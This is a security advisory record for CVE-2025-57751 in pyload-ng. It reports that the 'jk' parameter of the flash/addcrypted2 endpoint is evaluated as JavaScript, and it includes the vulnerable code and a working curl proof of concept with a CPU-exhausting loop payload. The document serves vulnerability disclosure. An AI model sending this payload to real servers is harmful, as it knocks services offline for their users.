{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev92"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T20:11:52Z",
    "nvd_published_at": "2025-08-21T19:15:43Z",
    "severity": "HIGH"
  },
  "details": "Dear Maintainers,\nI am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.\n\n### Summary\nThe `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.\n\n### Details\n- Endpoint: flash/addcrypted2\n- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123\nhttps://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42\t\n\naffected code\n```python\n@bp.route(\"/flash/addcrypted2\", methods=[\"POST\"], endpoint=\"addcrypted2\")\n@local_check\ndef addcrypted2():\n    package = flask.request.form.get(\n        \"package\", flask.request.form.get(\"source\", flask.request.form.get(\"referer\"))\n    )\n    crypted = flask.request.form[\"crypted\"]\n    jk = flask.request.form[\"jk\"]\n    pack_password = flask.request.form.get(\"passwords\")\n\n    crypted = standard_b64decode(unquote(crypted.replace(\" \", \"+\")))\n    jk = eval_js(f\"{jk} f()\")\n\n```\n\n```python\ndef eval_js(script, es6=False):\n    if sys.version_info \u003c (3, 12):\n        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)\n    else:\n        return dukpy.evaljs(script)\n```\n\n### PoC\ndownload pyload and run locally, send the following request\n- PoC\n```shell\ncurl -X POST \"http://localhost:8000/flash/addcrypted2\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"crypted=SGVsbG8gd29ybGQ=\" \\\n  -d \"passwords=pyload\" \\\n  -d \"jk=const start = Date.now();%0Awhile (Date.now() - start \u003c 30_000) {} //\"\n```\nThe 30_000 can be modified to any large value.\n\n\n### Impact\nSystem resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.\n\nUse the following command to check CPU usage\n```shell\ntop -pid $(pgrep -f \"pyload.__main__\") \n```\nor\n```shell\ntop -pid $(pgrep -f \"pyload\") \n```\n\nThe CPU is fully occupied\n\u003cimg width=\"1209\" height=\"134\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e\" /\u003e\n\nweb-ui unresponsive\n\u003cimg width=\"1209\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd\" /\u003e",
  "id": "GHSA-9gjj-6gj7-c4wj",
  "modified": "2025-08-22T15:01:48Z",
  "published": "2025-08-21T20:11:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57751"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs"
}